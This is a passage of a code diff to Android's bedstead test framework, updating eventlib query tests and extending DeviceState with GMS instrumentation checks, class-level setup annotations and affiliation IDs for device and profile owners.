+                .logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, RECEIVED_TIME)
+                .setReceivedTime(RECEIVED_TIME)
+                .log();
+
+        EventLogs<DeviceAdminSystemUpdatePendingEvent> eventLogs =
+                DeviceAdminSystemUpdatePendingEvent.queryPackage(sContext.getPackageName())
+                        .whereReceivedTime().isEqualTo(RECEIVED_TIME);
+
+        assertThat(eventLogs.poll().receivedTime()).isEqualTo(RECEIVED_TIME);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
index a55faaf..ad736f9 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibActivityTest.java
@@ -70,7 +70,7 @@
 
         EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().isSameClassAs(EventLibActivity.class);
+                .whereActivity().activityClass().isSameClassAs(EventLibActivity.class);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -84,7 +84,7 @@
 
         EventLogs<ActivityCreatedEvent> eventLogs = ActivityCreatedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+                .whereActivity().activityClass().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -101,7 +101,7 @@
 
         EventLogs<ActivityStartedEvent> eventLogs = ActivityStartedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().isSameClassAs(EventLibActivity.class);
+                .whereActivity().activityClass().isSameClassAs(EventLibActivity.class);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -118,7 +118,7 @@
 
         EventLogs<ActivityStartedEvent> eventLogs = ActivityStartedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+                .whereActivity().activityClass().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -135,7 +135,7 @@
 
         EventLogs<ActivityStoppedEvent> eventLogs = ActivityStoppedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().isSameClassAs(EventLibActivity.class);
+                .whereActivity().activityClass().isSameClassAs(EventLibActivity.class);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -152,7 +152,7 @@
 
         EventLogs<ActivityStoppedEvent> eventLogs = ActivityStoppedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+                .whereActivity().activityClass().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -169,7 +169,7 @@
 
         EventLogs<ActivityDestroyedEvent> eventLogs = ActivityDestroyedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().isSameClassAs(EventLibActivity.class);
+                .whereActivity().activityClass().isSameClassAs(EventLibActivity.class);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -186,7 +186,7 @@
 
         EventLogs<ActivityDestroyedEvent> eventLogs = ActivityDestroyedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+                .whereActivity().activityClass().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -205,7 +205,7 @@
 
         EventLogs<ActivityPausedEvent> eventLogs = ActivityPausedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().isSameClassAs(EventLibActivity.class);
+                .whereActivity().activityClass().isSameClassAs(EventLibActivity.class);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -224,7 +224,7 @@
 
         EventLogs<ActivityPausedEvent> eventLogs = ActivityPausedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+                .whereActivity().activityClass().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -241,7 +241,7 @@
 
         EventLogs<ActivityResumedEvent> eventLogs = ActivityResumedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().isSameClassAs(EventLibActivity.class);
+                .whereActivity().activityClass().isSameClassAs(EventLibActivity.class);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -258,7 +258,7 @@
 
         EventLogs<ActivityResumedEvent> eventLogs = ActivityResumedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+                .whereActivity().activityClass().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -275,7 +275,7 @@
 
         EventLogs<ActivityRestartedEvent> eventLogs = ActivityRestartedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().isSameClassAs(EventLibActivity.class);
+                .whereActivity().activityClass().isSameClassAs(EventLibActivity.class);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -292,7 +292,7 @@
 
         EventLogs<ActivityRestartedEvent> eventLogs = ActivityRestartedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+                .whereActivity().activityClass().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
         assertThat(eventLogs.poll()).isNotNull();
     }
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java
index eac68d1..08b9865 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java
@@ -58,11 +58,12 @@
         Intent intent = new Intent();
         intent.setComponent(new ComponentName(sContext.getPackageName(),
                 DECLARED_ACTIVITY_WITH_NO_CLASS));
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         sContext.startActivity(intent);
 
         EventLogs<ActivityCreatedEvent> eventLogs =
                 ActivityCreatedEvent.queryPackage(sContext.getPackageName())
-                .whereActivity().className().isEqualTo(DECLARED_ACTIVITY_WITH_NO_CLASS);
+                .whereActivity().activityClass().className().isEqualTo(DECLARED_ACTIVITY_WITH_NO_CLASS);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -75,7 +76,7 @@
 
         EventLogs<BroadcastReceivedEvent> eventLogs = BroadcastReceivedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereBroadcastReceiver().className().isEqualTo(GENERATED_RECEIVER_CLASS_NAME);
+                .whereBroadcastReceiver().receiverClass().className().isEqualTo(GENERATED_RECEIVER_CLASS_NAME);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibBroadcastReceiverTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibBroadcastReceiverTest.java
index aea0f08..21b9ee3 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibBroadcastReceiverTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibBroadcastReceiverTest.java
@@ -63,7 +63,7 @@
 
         EventLogs<BroadcastReceivedEvent> eventLogs = BroadcastReceivedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereBroadcastReceiver().isSameClassAs(EventLibBroadcastReceiver.class);
+                .whereBroadcastReceiver().receiverClass().isSameClassAs(EventLibBroadcastReceiver.class);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
@@ -76,7 +76,7 @@
 
         EventLogs<BroadcastReceivedEvent> eventLogs = BroadcastReceivedEvent
                 .queryPackage(sContext.getPackageName())
-                .whereBroadcastReceiver().className().isEqualTo(GENERATED_RECEIVER_CLASS_NAME);
+                .whereBroadcastReceiver().receiverClass().className().isEqualTo(GENERATED_RECEIVER_CLASS_NAME);
         assertThat(eventLogs.poll()).isNotNull();
     }
 
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibDeviceAdminReceiverTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibDeviceAdminReceiverTest.java
index 3709b43..fcca078 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibDeviceAdminReceiverTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibDeviceAdminReceiverTest.java
@@ -34,6 +34,7 @@
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordChangedEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordFailedEvent;
 import com.android.eventlib.events.deviceadminreceivers.DeviceAdminPasswordSucceededEvent;
+import com.android.eventlib.events.deviceadminreceivers.DeviceAdminSystemUpdatePendingEvent;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -96,7 +97,7 @@
 
         EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
                 DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.get()).isNotNull();
+        assertThat(eventLogs.poll()).isNotNull();
     }
 
     @Test
@@ -107,7 +108,7 @@
 
         EventLogs<DeviceAdminDisabledEvent> eventLogs =
                 DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.get()).isNotNull();
+        assertThat(eventLogs.poll()).isNotNull();
     }
 
     @Test
@@ -118,7 +119,7 @@
 
         EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
                 DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.get()).isNotNull();
+        assertThat(eventLogs.poll()).isNotNull();
     }
 
     @Test
@@ -129,8 +130,7 @@
 
         EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
                 DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.get()).isNotNull();
-        assertThat(eventLogs.get().userHandle()).isEqualTo(sUser.userHandle());
+        assertThat(eventLogs.poll().userHandle()).isEqualTo(sUser.userHandle());
     }
 
     @Test
@@ -141,7 +141,7 @@
 
         EventLogs<DeviceAdminPasswordFailedEvent> eventLogs =
                 DeviceAdminPasswordFailedEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.get()).isNotNull();
+        assertThat(eventLogs.poll()).isNotNull();
     }
 
     @Test
@@ -152,8 +152,7 @@
 
         EventLogs<DeviceAdminPasswordFailedEvent> eventLogs =
                 DeviceAdminPasswordFailedEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.get()).isNotNull();
-        assertThat(eventLogs.get().userHandle()).isEqualTo(sUser.userHandle());
+        assertThat(eventLogs.poll().userHandle()).isEqualTo(sUser.userHandle());
     }
 
     @Test
@@ -164,7 +163,7 @@
 
         EventLogs<DeviceAdminPasswordSucceededEvent> eventLogs =
                 DeviceAdminPasswordSucceededEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.get()).isNotNull();
+        assertThat(eventLogs.poll()).isNotNull();
     }
 
     @Test
@@ -175,8 +174,18 @@
 
         EventLogs<DeviceAdminPasswordSucceededEvent> eventLogs =
                 DeviceAdminPasswordSucceededEvent.queryPackage(sContext.getPackageName());
-        assertThat(eventLogs.get()).isNotNull();
-        assertThat(eventLogs.get().userHandle()).isEqualTo(sUser.userHandle());
+        assertThat(eventLogs.poll().userHandle()).isEqualTo(sUser.userHandle());
     }
 
+    @Test
+    public void systemUpdatePending_logsSystemUpdatePendingEvent() {
+        EventLibDeviceAdminReceiver receiver = new EventLibDeviceAdminReceiver();
+        long receivedTime = System.currentTimeMillis();
+
+        receiver.onSystemUpdatePending(sContext, sIntent, receivedTime);
+
+        EventLogs<DeviceAdminSystemUpdatePendingEvent> eventLogs =
+                DeviceAdminSystemUpdatePendingEvent.queryPackage(sContext.getPackageName());
+        assertThat(eventLogs.poll().receivedTime()).isEqualTo(receivedTime);
+    }
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
index 71f3c70..6a82a27 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
@@ -16,8 +16,11 @@
 
 package com.android.bedstead.harrier;
 
+import android.util.Log;
+
 import androidx.annotation.Nullable;
 
+import com.android.bedstead.harrier.annotations.CalledByHostDrivenTest;
 import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
 import com.android.bedstead.harrier.annotations.enterprise.NegativePolicyTest;
@@ -168,7 +171,6 @@
             } catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {
                 throw new NeneException("Error expanding repeated annotations", e);
             }
-
         }
 
         if (annotation.annotationType().getAnnotation(ParameterizedAnnotation.class) != null
@@ -214,7 +216,10 @@
     protected List<FrameworkMethod> computeTestMethods() {
         TestClass testClass = getTestClass();
 
-        List<FrameworkMethod> basicTests = testClass.getAnnotatedMethods(Test.class);
+        List<FrameworkMethod> basicTests = new ArrayList<>();
+        basicTests.addAll(testClass.getAnnotatedMethods(Test.class));
+        basicTests.addAll(testClass.getAnnotatedMethods(CalledByHostDrivenTest.class));
+
         List<FrameworkMethod> modifiedTests = new ArrayList<>();
 
         for (FrameworkMethod m : basicTests) {
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index 3d7be97..cf92bf7 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -16,6 +16,9 @@
 
 package com.android.bedstead.harrier;
 
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+
+import static com.android.bedstead.nene.permissions.Permissions.NOTIFY_PENDING_SYSTEM_UPDATE;
 import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
 import static com.android.bedstead.nene.utils.Versions.meetsSdkVersionRequirements;
@@ -23,6 +26,7 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
@@ -35,12 +39,15 @@
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.bedstead.harrier.annotations.AfterClass;
+import com.android.bedstead.harrier.annotations.BeforeClass;
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHavePermission;
 import com.android.bedstead.harrier.annotations.EnsureHasPermission;
 import com.android.bedstead.harrier.annotations.EnsurePackageNotInstalled;
 import com.android.bedstead.harrier.annotations.FailureMode;
 import com.android.bedstead.harrier.annotations.RequireDoesNotHaveFeature;
 import com.android.bedstead.harrier.annotations.RequireFeature;
+import com.android.bedstead.harrier.annotations.RequireGmsInstrumentation;
 import com.android.bedstead.harrier.annotations.RequirePackageInstalled;
 import com.android.bedstead.harrier.annotations.RequirePackageNotInstalled;
 import com.android.bedstead.harrier.annotations.RequireSdkVersion;
@@ -80,15 +87,23 @@
 import org.junit.AssumptionViolatedException;
 import org.junit.rules.TestRule;
 import org.junit.runner.Description;
+import org.junit.runners.model.FrameworkMethod;
 import org.junit.runners.model.Statement;
+import org.junit.runners.model.TestClass;
 
 import java.lang.annotation.Annotation;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
+import java.util.Collections;
 import java.util.HashMap;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
+import java.util.Set;
 import java.util.function.Function;
 
 
@@ -105,6 +120,8 @@
  */
 public final class DeviceState implements TestRule {
 
+    private static final String GMS_PKG = "com.google.android.gms";
+
     private final Context mContext = ApplicationProvider.getApplicationContext();
     private static final TestApis sTestApis = new TestApis();
     private static final String SKIP_TEST_TEARDOWN_KEY = "skip-test-teardown";
@@ -113,8 +130,14 @@
     private boolean mSkipTestTeardown;
     private boolean mSkipClassTeardown;
     private boolean mSkipTests;
+    private boolean mFailTests;
     private boolean mUsingBedsteadJUnit4 = false;
     private String mSkipTestsReason;
+    private String mFailTestsReason;
+
+    // Marks if the conditions for requiring running under GMS instrumentation have been set
+    // if not - we assume the test should never run under GMS instrumentation
+    private boolean mHasRequireGmsInstrumentation = false;
 
     private static final String TV_PROFILE_TYPE_NAME = "com.android.tv.profile";
 
@@ -153,8 +176,9 @@
                 Log.d(LOG_TAG, "Preparing state for test " + description.getMethodName());
 
                 assumeFalse(mSkipTestsReason, mSkipTests);
+                assertFalse(mFailTestsReason, mFailTests);
 
-                Collection<Annotation> annotations = getAnnotations(description);
+                List<Annotation> annotations = getAnnotations(description);
                 PermissionContextImpl permissionContext = applyAnnotations(annotations);
 
                 Log.d(LOG_TAG,
@@ -181,7 +205,7 @@
             }};
     }
 
-    private PermissionContextImpl applyAnnotations(Collection<Annotation> annotations)
+    private PermissionContextImpl applyAnnotations(List<Annotation> annotations)
             throws Throwable {
         PermissionContextImpl permissionContext = null;
         for (Annotation annotation : annotations) {
@@ -250,8 +274,23 @@
                         annotation.getClass()
                                 .getMethod("installInstrumentedAppInParent")
                                 .invoke(annotation);
+
+
+                boolean dpcIsPrimary = false;
+                Set<String> affiliationIds = null;
+                if (requireRunOnProfileAnnotation.hasProfileOwner()) {
+                    dpcIsPrimary = (boolean)
+                            annotation.annotationType()
+                                    .getMethod("dpcIsPrimary").invoke(annotation);
+                    affiliationIds = new HashSet<>(Arrays.asList((String[])
+                            annotation.annotationType()
+                                    .getMethod("affiliationIds").invoke(annotation)));
+                }
+
                 requireRunOnProfile(requireRunOnProfileAnnotation.value(),
-                        installInstrumentedAppInParent);
+                        installInstrumentedAppInParent,
+                        requireRunOnProfileAnnotation.hasProfileOwner(),
+                        dpcIsPrimary, affiliationIds);
                 continue;
             }
 
@@ -260,11 +299,14 @@
                         (EnsureHasDeviceOwner) annotation;
                 ensureHasDeviceOwner(ensureHasDeviceOwnerAnnotation.onUser(),
                         ensureHasDeviceOwnerAnnotation.failureMode(),
-                        ensureHasDeviceOwnerAnnotation.isPrimary());
+                        ensureHasDeviceOwnerAnnotation.isPrimary(),
+                        new HashSet<>(Arrays.asList(ensureHasDeviceOwnerAnnotation.affiliationIds())));
+                continue;
             }
 
             if (annotation instanceof EnsureHasNoDeviceOwner) {
                 ensureHasNoDeviceOwner();
+                continue;
             }
 
             if (annotation instanceof RequireFeature) {
@@ -288,7 +330,8 @@
                 EnsureHasProfileOwner ensureHasProfileOwnerAnnotation =
                         (EnsureHasProfileOwner) annotation;
                 ensureHasProfileOwner(ensureHasProfileOwnerAnnotation.onUser(),
-                        ensureHasProfileOwnerAnnotation.isPrimary());
+                        ensureHasProfileOwnerAnnotation.isPrimary(),
+                        new HashSet<>(Arrays.asList(ensureHasProfileOwnerAnnotation.affiliationIds())));
                 continue;
             }
 
@@ -308,6 +351,14 @@
                 continue;
             }
 
+            if (annotation instanceof RequireGmsInstrumentation) {
+                RequireGmsInstrumentation requireGmsInstrumentationAnnotation =
+                        (RequireGmsInstrumentation) annotation;
+                requireGmsInstrumentation(requireGmsInstrumentationAnnotation.min(),
+                        requireGmsInstrumentationAnnotation.max());
+                continue;
+            }
+
             if (annotation instanceof RequireSdkVersion) {
                 RequireSdkVersion requireSdkVersionAnnotation =
                         (RequireSdkVersion) annotation;
@@ -353,6 +404,12 @@
             if (annotation instanceof EnsureHasPermission) {
                 EnsureHasPermission ensureHasPermissionAnnotation =
                         (EnsureHasPermission) annotation;
+
+                for (String permission : ensureHasPermissionAnnotation.value()) {
+                    ensureCanGetPermission(permission);
+                }
+
+
                 try {
                     if (permissionContext == null) {
                         permissionContext = sTestApis.permissions().withPermission(
@@ -388,13 +445,18 @@
             }
         }
 
+        if (!mHasRequireGmsInstrumentation) {
+            // TODO(scottjonathan): Only enforce if we've configured GMS Instrumentation
+            requireNoGmsInstrumentation();
+        }
+
         return permissionContext;
     }
 
-    private Collection<Annotation> getAnnotations(Description description) {
+    private List<Annotation> getAnnotations(Description description) {
         if (mUsingBedsteadJUnit4 && description.isTest()) {
-            // The annotations are already exploded
-            return description.getAnnotations();
+            // The annotations are already exploded for tests
+            return new ArrayList<>(description.getAnnotations());
         }
 
         // Otherwise we should build a new collection by recursively gathering annotations
@@ -434,16 +496,44 @@
         return new Statement() {
             @Override
             public void evaluate() throws Throwable {
-                Log.d(LOG_TAG, "Preparing state for suite " + description.getMethodName());
+                checkValidAnnotations(description);
 
-                Collection<Annotation> annotations = getAnnotations(description);
-                PermissionContextImpl permissionContext = applyAnnotations(annotations);
+                TestClass testClass = new TestClass(description.getTestClass());
 
-                Log.d(LOG_TAG,
-                        "Finished preparing state for suite " + description.getMethodName());
+                boolean skipAfterClass = true;
+                PermissionContextImpl permissionContext = null;
+
+                if (!mSkipTests && !mFailTests) {
+                    skipAfterClass = false;
+                    Log.d(LOG_TAG, "Preparing state for suite " + description.getClassName());
+
+                    try {
+                        List<Annotation> annotations =
+                                new ArrayList<>(getAnnotations(description));
+                        permissionContext = applyAnnotations(annotations);
+                    } catch (AssumptionViolatedException e) {
+                        mSkipTests = true;
+                        mSkipTestsReason = e.getMessage();
+                    } catch (AssertionError e) {
+                        mFailTests = true;
+                        mFailTestsReason = e.getMessage();
+                    }
+
+                    Log.d(LOG_TAG,
+                            "Finished preparing state for suite "
+                                    + description.getClassName());
+                }
+
+                if (!mSkipTests && !mFailTests) {
+                    runAnnotatedMethods(testClass, BeforeClass.class);
+                }
 
                 base.evaluate();
 
+                if (!skipAfterClass) {
+                    runAnnotatedMethods(testClass, AfterClass.class);
+                }
+
                 if (permissionContext != null) {
                     permissionContext.close();
                 }
@@ -455,6 +545,70 @@
         };
     }
 
+    private static final Map<Class<? extends Annotation>, Class<? extends Annotation>>
+            BANNED_ANNOTATIONS_TO_REPLACEMENTS = getBannedAnnotationsToReplacements();
+    private static Map<
+            Class<? extends Annotation>,
+            Class<? extends Annotation>> getBannedAnnotationsToReplacements() {
+        Map<
+                Class<? extends Annotation>,
+                Class<? extends Annotation>> bannedAnnotationsToReplacements = new HashMap<>();
+        bannedAnnotationsToReplacements.put(org.junit.BeforeClass.class, BeforeClass.class);
+        bannedAnnotationsToReplacements.put(org.junit.AfterClass.class, AfterClass.class);
+        return bannedAnnotationsToReplacements;
+    }
+
+    private void checkValidAnnotations(Description classDescription) {
+        for (Method method : classDescription.getTestClass().getMethods()) {
+            for (Map.Entry<
+                    Class<? extends Annotation>,
+                    Class<? extends Annotation>> bannedAnnotation
+                    : BANNED_ANNOTATIONS_TO_REPLACEMENTS.entrySet()) {
+                if (method.isAnnotationPresent(bannedAnnotation.getKey())) {
+                    throw new IllegalStateException("Do not use "
+                            + bannedAnnotation.getKey().getCanonicalName()
+                            + " when using DeviceState, replace with "
+                            + bannedAnnotation.getValue().getCanonicalName());
+                }
+            }
+
+            if (method.getAnnotation(BeforeClass.class) != null
+                    || method.getAnnotation(AfterClass.class) != null) {
+                checkPublicStaticVoidNoArgs(method);
+            }
+        }
+    }
+
+    private void checkPublicStaticVoidNoArgs(Method method) {
+        if (method.getParameterTypes().length > 0) {
+            throw new IllegalStateException(
+                    "Method " + method.getName() + " should have no parameters");
+        }
+        if (method.getReturnType() != Void.TYPE) {
+            throw new IllegalStateException("Method " + method.getName() + "() should be void");
+        }
+        if (!Modifier.isStatic(method.getModifiers())) {
+            throw new IllegalStateException("Method " + method.getName() + "() should be static");
+        }
+        if (!Modifier.isPublic(method.getModifiers())) {
+            throw new IllegalStateException("Method " + method.getName() + "() should be public");
+        }
+    }
+
+    private void runAnnotatedMethods(
+            TestClass testClass, Class<? extends Annotation> annotation) throws Throwable {
+
+        List<FrameworkMethod> methods = new ArrayList<>(testClass.getAnnotatedMethods(annotation));
+        Collections.reverse(methods);
+        for (FrameworkMethod method : methods) {
+            try {
+                method.invokeExplosively(testClass.getJavaClass());
+            } catch (InvocationTargetException e) {
+                throw e.getCause();
+            }
+        }
+    }
+
     private void requireRunOnUser(String userType) {
         User instrumentedUser = sTestApis.users().instrumented().resolve();
 
@@ -465,7 +619,8 @@
     }
 
     private void requireRunOnProfile(String userType,
-            OptionalBoolean installInstrumentedAppInParent) {
+            OptionalBoolean installInstrumentedAppInParent,
+            boolean hasProfileOwner, boolean dpcIsPrimary, Set<String> affiliationIds) {
         User instrumentedUser = sTestApis.users().instrumented().resolve();
 
         assumeTrue("This test only runs on users of type " + userType,
@@ -484,6 +639,12 @@
             sTestApis.packages().find(sContext.getPackageName()).uninstall(
                     instrumentedUser.parent());
         }
+
+        if (hasProfileOwner) {
+            ensureHasProfileOwner(instrumentedUser, dpcIsPrimary, affiliationIds);
+        } else {
+            ensureHasNoProfileOwner(instrumentedUser);
+        }
     }
 
     private void requireFeature(String feature, FailureMode failureMode) {
@@ -496,9 +657,49 @@
                 !sTestApis.packages().features().contains(feature), failureMode);
     }
 
-    private void requireSdkVersion(int min, int max, FailureMode failureMode) {
+    private void requireNoGmsInstrumentation() {
+        boolean instrumentingGms =
+                sTestApis.context().instrumentedContext().getPackageName().equals(GMS_PKG);
+
         checkFailOrSkip(
-                "Sdk version must be between " + min +  " and " + max + " (inclusive)",
+                "This test never runs using gms instrumentation",
+                !instrumentingGms,
+                FailureMode.SKIP
+        );
+    }
+
+    private void requireGmsInstrumentation(int min, int max) {
+        mHasRequireGmsInstrumentation = true;
+        boolean instrumentingGms =
+                sTestApis.context().instrumentedContext().getPackageName().equals(GMS_PKG);
+
+        if (meetsSdkVersionRequirements(min, max)) {
+            checkFailOrSkip(
+                    "For SDK versions between " + min +  " and " + max
+                            + " (inclusive), this test only runs when using gms instrumentation",
+                    instrumentingGms,
+                    FailureMode.SKIP
+            );
+        } else {
+            checkFailOrSkip(
+                    "For SDK versions between " + min +  " and " + max
+                            + " (inclusive), this test only runs when not using gms "
+                            + "instrumentation",
+                    !instrumentingGms,
+                    FailureMode.SKIP
+            );
+        }
+    }
+
+    private void requireSdkVersion(int min, int max, FailureMode failureMode) {
+        requireSdkVersion(min, max, failureMode,
+                "Sdk version must be between " + min +  " and " + max + " (inclusive)");
+    }
+
+    private void requireSdkVersion(
+            int min, int max, FailureMode failureMode, String failureMessage) {
+        checkFailOrSkip(
+                failureMessage,
                 meetsSdkVersionRequirements(min, max),
                 failureMode
         );
@@ -816,7 +1017,7 @@
         mProfiles.get(resolvedUserType).put(forUserReference, profile);
 
         if (hasProfileOwner) {
-            ensureHasProfileOwner(profile, profileOwnerIsPrimary);
+            ensureHasProfileOwner(profile, profileOwnerIsPrimary, /* affiliationIds= */ null);
         }
         return profile;
     }
@@ -1046,11 +1247,16 @@
         }
     }
 
-    private void ensureHasDeviceOwner(UserType onUser, FailureMode failureMode, boolean isPrimary) {
+    private void ensureHasDeviceOwner(UserType onUser, FailureMode failureMode, boolean isPrimary, Set<String> affiliationIds) {
         // TODO(scottjonathan): Should support non-remotedpc device owner (default to remotedpc)
         // TODO(scottjonathan): Should allow setting the device owner on a different user
-        if (isPrimary && mPrimaryDpc != null) {
-            throw new IllegalStateException("Only one DPC can be marked as primary per test");
+        UserReference userReference = resolveUserTypeToUser(onUser);
+        if (isPrimary && mPrimaryDpc != null && !userReference.equals(mPrimaryDpc.user())) {
+            throw new IllegalStateException("Only one DPC can be marked as primary per test (current primary is " + mPrimaryDpc + ")");
+        }
+        if (!userReference.equals(sTestApis.users().instrumented())) {
+            // INTERACT_ACROSS_USERS_FULL is required for RemoteDPC
+            ensureCanGetPermission(INTERACT_ACROSS_USERS_FULL);
         }
 
         DeviceOwner currentDeviceOwner = sTestApis.devicePolicy().getDeviceOwner();
@@ -1058,56 +1264,62 @@
         if (currentDeviceOwner != null
                 && currentDeviceOwner.componentName().equals(RemoteDpc.DPC_COMPONENT_NAME)) {
             mDeviceOwner = currentDeviceOwner;
-            return;
-        }
+        } else {
+            UserReference instrumentedUser = sTestApis.users().instrumented();
 
-        UserReference instrumentedUser = sTestApis.users().instrumented();
-
-
-        if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
-            // Prior to S we can't set device owner if there are other users on the device
-            for (UserReference u : sTestApis.users().all()) {
-                if (u.equals(instrumentedUser)) {
-                    continue;
-                }
-                try {
-                    removeAndRecordUser(u);
-                } catch (NeneException e) {
-                    failOrSkip(
-                            "Error removing user to prepare for DeviceOwner: " + e.toString(),
-                            failureMode);
+            if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
+                // Prior to S we can't set device owner if there are other users on the device
+                for (UserReference u : sTestApis.users().all()) {
